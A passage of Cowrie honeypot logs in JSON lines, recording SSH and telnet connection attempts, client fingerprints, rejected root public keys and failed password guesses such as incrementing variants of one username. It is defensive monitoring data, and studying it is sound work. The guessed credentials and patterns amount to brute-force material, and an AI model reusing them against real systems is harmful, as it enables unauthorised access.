cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:03.293953Z","src_ip":"213.209.159.56","session":"8ba0f24d1a42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rayven","password":"rayven","message":"login attempt [rayven/rayven] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:03.700093Z","src_ip":"213.209.159.56","session":"8ba0f24d1a42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rayven","password":"rayven1","message":"login attempt [rayven/rayven1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:04.786651Z","src_ip":"213.209.159.56","session":"8ba0f24d1a42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rayven","password":"rayven123","message":"login attempt [rayven/rayven123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:05.873619Z","src_ip":"213.209.159.56","session":"8ba0f24d1a42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rayven","password":"rayven1234","message":"login attempt [rayven/rayven1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:06.963213Z","src_ip":"213.209.159.56","session":"8ba0f24d1a42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rayven","password":"rayven12345","message":"login attempt [rayven/rayven12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:08.048029Z","src_ip":"213.209.159.56","session":"8ba0f24d1a42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:09.134469Z","src_ip":"213.209.159.56","session":"8ba0f24d1a42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.45713758468628,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:11.635356Z","src_ip":"152.42.224.71","session":"fd34662b8ecb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45950,"dst_ip":"10.17.0.5","dst_port":23,"session":"5fb35ee1440f","protocol":"telnet","message":"New connection: 152.42.224.71:45950 (10.17.0.5:23) [session: 5fb35ee1440f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:14.268679Z"}
{"eventid":"cowrie.session.connect","src_ip":"78.111.67.238","src_port":55714,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d500556accc","protocol":"ssh","message":"New connection: 78.111.67.238:55714 (10.17.0.5:22) [session: 8d500556accc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:14.303055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:14.323047Z","src_ip":"78.111.67.238","session":"8d500556accc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:14.415904Z","src_ip":"78.111.67.238","session":"8d500556accc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.241","src_port":46380,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce421e7c50ce","protocol":"ssh","message":"New connection: 37.143.61.241:46380 (159.203.135.109:22) [session: ce421e7c50ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:14.894701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:14.899746Z","src_ip":"37.143.61.241","session":"ce421e7c50ce","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6c:fe:89:34:c2:2a:fc:18:0c:14:79:77:35:01:33:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnnpL1J1dbBKn08s9DuRsmqwjzEkhSXsg8dtY/vnOnGIB4be3oBFn9a5iuLqPAY3iY6uy/kmXuFsVwbGga3OxoeP2CN35Gf32vBLdlSQQgpaRliAwaXWn+rI3R+mI+pt0SxLX/7N0RMADNy5MXBJQ0MAm75FPo1JVw4M0F2NlfYQnWSrTANK8pfC7fftForWdUi8/kN5fDbh0BUoi7BWs75gyWDa1c3pRtz2OFsXsmet12Jlq3dMwAYOVNxPT2InzDXgwjOE9czRtmjBkbpAtSjaKtLoBbuQABF8+jhSWAEyQPX+3sTIce6YgIPYRMfK1gPcIXBFLo7Vbaag714uFD","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6c:fe:89:34:c2:2a:fc:18:0c:14:79:77:35:01:33:d7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:14.935631Z","src_ip":"78.111.67.238","session":"8d500556accc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6c:fe:89:34:c2:2a:fc:18:0c:14:79:77:35:01:33:d7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDnnpL1J1dbBKn08s9DuRsmqwjzEkhSXsg8dtY/vnOnGIB4be3oBFn9a5iuLqPAY3iY6uy/kmXuFsVwbGga3OxoeP2CN35Gf32vBLdlSQQgpaRliAwaXWn+rI3R+mI+pt0SxLX/7N0RMADNy5MXBJQ0MAm75FPo1JVw4M0F2NlfYQnWSrTANK8pfC7fftForWdUi8/kN5fDbh0BUoi7BWs75gyWDa1c3pRtz2OFsXsmet12Jlq3dMwAYOVNxPT2InzDXgwjOE9czRtmjBkbpAtSjaKtLoBbuQABF8+jhSWAEyQPX+3sTIce6YgIPYRMfK1gPcIXBFLo7Vbaag714uFD","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:14.939256Z","src_ip":"78.111.67.238","session":"8d500556accc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:15.040124Z","src_ip":"37.143.61.241","session":"ce421e7c50ce","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"be:a0:e0:4e:46:5e:9a:1d:7c:25:4b:a7:7e:b4:5b:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtW2wHq0pWzSJ287o16YYRqj/xW9OVY9SEDYZxpGQ1zuVlU22j9/oOw06G4OcL7TGRI4ECb3pINGHUnlKCEe64ESCgVhP2fJ6HtS4aZ6t5CYVgMBhcGdqCptcOIfa/ZpjivTlM1lE9gjs8T5epnVSJ3YKhVCEDjE+jkPKcXH7L9sy2XrZDiSiqTthSOJ36zIr+/751fr3V3HYSSDmJjVYUqE17mJPQbRE09tAgxTKLktH/uj45mxwgPlFDEUyAC6qDLjQ6kdFkO25mzurteJ2uXhZ383pqDaAvz86DExpOFwey2eIxLaiYnNwLr1uuR4jITpRa5lViu42Wi/NSlm8Gw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint be:a0:e0:4e:46:5e:9a:1d:7c:25:4b:a7:7e:b4:5b:e8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:15.047433Z","src_ip":"78.111.67.238","session":"8d500556accc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"be:a0:e0:4e:46:5e:9a:1d:7c:25:4b:a7:7e:b4:5b:e8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtW2wHq0pWzSJ287o16YYRqj/xW9OVY9SEDYZxpGQ1zuVlU22j9/oOw06G4OcL7TGRI4ECb3pINGHUnlKCEe64ESCgVhP2fJ6HtS4aZ6t5CYVgMBhcGdqCptcOIfa/ZpjivTlM1lE9gjs8T5epnVSJ3YKhVCEDjE+jkPKcXH7L9sy2XrZDiSiqTthSOJ36zIr+/751fr3V3HYSSDmJjVYUqE17mJPQbRE09tAgxTKLktH/uj45mxwgPlFDEUyAC6qDLjQ6kdFkO25mzurteJ2uXhZ383pqDaAvz86DExpOFwey2eIxLaiYnNwLr1uuR4jITpRa5lViu42Wi/NSlm8Gw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:15.052407Z","src_ip":"78.111.67.238","session":"8d500556accc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9d:be:20:88:44:32:8c:a8:29:12:03:f0:2b:5e:42:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYz9pMYIJ2Bz5qRYxt9GFJ4shUC3To0oQk8ZWNFKAT/bti29v8dJkOiKagWhCqtF6gFnnRJCgjj29JEIoPS8+ShzXiOYFSFU3JZpBm+ATOG5VCfcNA3EXQ70Vm9qs/VFHrYUlzK9s2l2oh7Dxf7zJfm4p5DlRNFKccgMz4obZKhYg7MctpMiCgt7qAdJIZvEUpzyG+wLXST4Yx/wqToGynUN8Vbpo4Y0MBLxPHRU6wnGXCddXZzMFJCqhwHY2qZVfRAtKuuflX906TjYB2hud85JgLwCW8+DmWkwpIqc+NBwFjkCNsjH+DwwH+XFCgmWRBLkOnMKcz58hILTMUA/9r","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9d:be:20:88:44:32:8c:a8:29:12:03:f0:2b:5e:42:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:15.190396Z","src_ip":"78.111.67.238","session":"8d500556accc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9d:be:20:88:44:32:8c:a8:29:12:03:f0:2b:5e:42:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYz9pMYIJ2Bz5qRYxt9GFJ4shUC3To0oQk8ZWNFKAT/bti29v8dJkOiKagWhCqtF6gFnnRJCgjj29JEIoPS8+ShzXiOYFSFU3JZpBm+ATOG5VCfcNA3EXQ70Vm9qs/VFHrYUlzK9s2l2oh7Dxf7zJfm4p5DlRNFKccgMz4obZKhYg7MctpMiCgt7qAdJIZvEUpzyG+wLXST4Yx/wqToGynUN8Vbpo4Y0MBLxPHRU6wnGXCddXZzMFJCqhwHY2qZVfRAtKuuflX906TjYB2hud85JgLwCW8+DmWkwpIqc+NBwFjkCNsjH+DwwH+XFCgmWRBLkOnMKcz58hILTMUA/9r","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:15.196031Z","src_ip":"78.111.67.238","session":"8d500556accc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dc:14:22:af:2e:9f:f3:99:c2:29:0a:ea:4c:74:13:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDbhBKnafy5M5mE7ZFxUexAQ1VeBdwX6vzAoFoQhlGBmB2fR3Ba8BaMM16lCR8eaUYN1KZkEWcyUMqZsc1eU2eEymIK60ys0YQ0nA9OcS/VULiM3cL6VqQftQyG0miTNUuk6DWRwxaMD5K+RVs6Kbb1BtDDhi+Pkxq7cPfxskdhhpNvPjPrHNMaAQqM3YRK4WHgkVW263UpC3LWXAgfXk09uf7ACzVRmQT2FtTDICxVnprPaw7z4I9mZV1dqfoapatjzBc6xWw/jlz6UldeehcGolzUMbUTCfX2ph83hcG2df/9UBpgmOvkUkexa3rCZr9KHDybbe70k1CHA5v8EdH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dc:14:22:af:2e:9f:f3:99:c2:29:0a:ea:4c:74:13:41","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:15.306421Z","src_ip":"78.111.67.238","session":"8d500556accc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dc:14:22:af:2e:9f:f3:99:c2:29:0a:ea:4c:74:13:41","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDDbhBKnafy5M5mE7ZFxUexAQ1VeBdwX6vzAoFoQhlGBmB2fR3Ba8BaMM16lCR8eaUYN1KZkEWcyUMqZsc1eU2eEymIK60ys0YQ0nA9OcS/VULiM3cL6VqQftQyG0miTNUuk6DWRwxaMD5K+RVs6Kbb1BtDDhi+Pkxq7cPfxskdhhpNvPjPrHNMaAQqM3YRK4WHgkVW263UpC3LWXAgfXk09uf7ACzVRmQT2FtTDICxVnprPaw7z4I9mZV1dqfoapatjzBc6xWw/jlz6UldeehcGolzUMbUTCfX2ph83hcG2df/9UBpgmOvkUkexa3rCZr9KHDybbe70k1CHA5v8EdH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:15.311182Z","src_ip":"78.111.67.238","session":"8d500556accc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"monica123","message":"login attempt [root/monica123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:15.365811Z","src_ip":"37.143.61.241","session":"ce421e7c50ce","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:99:99:0c:45:55:de:54:22:4e:6c:3a:35:5b:d7:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD7dpQxqWrOQaDapOaCCJBtLX5dw6CPrFLzPvyCfPcv1MOQRQxiEqZleoI4rCdXzXt56g3i3H/bA/vW+I9NjQtw7Wjw8wClgeYj2IYT6HvU81AwCIhTnH5bZwH/XwEhU5f/k/YNV8V9UBEz9wJJeYzBOPzl/t++JuCOXK4nrF69QQqjVo0b0844uYzdHbKK6mDcS1/6TnWkHonuzPRvuF9EHpseEOZ50glp21Hqpr3b8u5Y1Jdxv76ytiv/eNN5iqHEBkXTm3BoQ3uvuBDjtOJoBz3TSOrPNzNmrUuXPZ4jQb1j4m3+j5VCZIkbfg2q5cWPL6teM4XUIjUgJ0SmcfaZwY27tSWScYPSV3g1xBhUhIcHaH7rvF7YnupE1W82QnieAYojPJd4CjiZaE9mAa6nsQ006fRN67C1K2TWPKgwpdYllcxVGm3p4oM5OPkX/149/3yCeDoiLewh9BSoeLv9k5p2HUW6lNPk6r0qAK3Hf2IgKH437cag/C8sdbCVNu0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 76:99:99:0c:45:55:de:54:22:4e:6c:3a:35:5b:d7:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:15.437910Z","src_ip":"78.111.67.238","session":"8d500556accc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:99:99:0c:45:55:de:54:22:4e:6c:3a:35:5b:d7:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD7dpQxqWrOQaDapOaCCJBtLX5dw6CPrFLzPvyCfPcv1MOQRQxiEqZleoI4rCdXzXt56g3i3H/bA/vW+I9NjQtw7Wjw8wClgeYj2IYT6HvU81AwCIhTnH5bZwH/XwEhU5f/k/YNV8V9UBEz9wJJeYzBOPzl/t++JuCOXK4nrF69QQqjVo0b0844uYzdHbKK6mDcS1/6TnWkHonuzPRvuF9EHpseEOZ50glp21Hqpr3b8u5Y1Jdxv76ytiv/eNN5iqHEBkXTm3BoQ3uvuBDjtOJoBz3TSOrPNzNmrUuXPZ4jQb1j4m3+j5VCZIkbfg2q5cWPL6teM4XUIjUgJ0SmcfaZwY27tSWScYPSV3g1xBhUhIcHaH7rvF7YnupE1W82QnieAYojPJd4CjiZaE9mAa6nsQ006fRN67C1K2TWPKgwpdYllcxVGm3p4oM5OPkX/149/3yCeDoiLewh9BSoeLv9k5p2HUW6lNPk6r0qAK3Hf2IgKH437cag/C8sdbCVNu0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:15.441938Z","src_ip":"78.111.67.238","session":"8d500556accc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:15.590731Z","src_ip":"78.111.67.238","session":"8d500556accc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:16.455252Z","src_ip":"37.143.61.241","session":"ce421e7c50ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":63.50515151023865,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:23.802194Z","src_ip":"152.42.224.71","session":"645d7e344b28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.52.132.30","src_port":43296,"dst_ip":"159.203.135.109","dst_port":22,"session":"82ce57ea2ad2","protocol":"ssh","message":"New connection: 72.52.132.30:43296 (159.203.135.109:22) [session: 82ce57ea2ad2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:28.392237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:28.397044Z","src_ip":"72.52.132.30","session":"82ce57ea2ad2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:28.428321Z","src_ip":"72.52.132.30","session":"82ce57ea2ad2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"captain","message":"login attempt [root/captain] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:28.585638Z","src_ip":"72.52.132.30","session":"82ce57ea2ad2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:29.620269Z","src_ip":"72.52.132.30","session":"82ce57ea2ad2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":119.47136878967285,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:31.231365Z","src_ip":"152.42.224.71","session":"cf30a9a3142f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00531768798828,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:36.076560Z","src_ip":"152.42.224.71","session":"0f4815c726c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":36938,"dst_ip":"159.203.135.109","dst_port":22,"session":"96a2d69efba7","protocol":"ssh","message":"New connection: 68.183.236.1:36938 (159.203.135.109:22) [session: 96a2d69efba7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:46.236330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T08:35:46.241239Z","src_ip":"68.183.236.1","session":"96a2d69efba7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1